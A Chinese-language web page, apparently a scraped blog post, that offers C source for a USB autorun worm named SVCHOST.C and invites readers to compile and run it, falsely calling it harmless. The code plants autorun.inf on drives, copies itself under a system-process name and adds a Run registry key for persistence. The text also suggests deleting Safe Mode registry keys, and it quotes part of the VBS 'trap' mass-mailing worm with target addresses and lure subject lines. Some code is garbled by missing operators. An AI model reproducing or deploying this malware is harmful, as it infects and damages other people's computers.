请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C*/
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0((input=fopen(infile,"rb"))!=NULL)((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...
给个C语言病毒代码.....要复制的....越长越好下面就对“陷阱”的发作过程和源代码作详细的揭密 。
病毒具有自身加密能力(使用 JavaScript 编码技术) , 使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点 , 我非常轻松地得到所有源码 。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
推荐阅读
- 开发养龙游戏,养龙游戏叫什么名字
- SAP可视化,sap可视化工具
- python计算文本字符串出现次数,python统计文本中字符出现次数
- 微信直播无法联麦,微信直播怎么不能发言
- tftp命令linux的简单介绍
- 为什么cpu有气孔,为什么cpu有气孔不能开机
- excel怎么求文本个数,excel求文字个数
- 钉钉直播画图教学,钉钉直播画图教学怎么弄
- 圆的函数公式c语言推荐 c语言怎么表示圆方程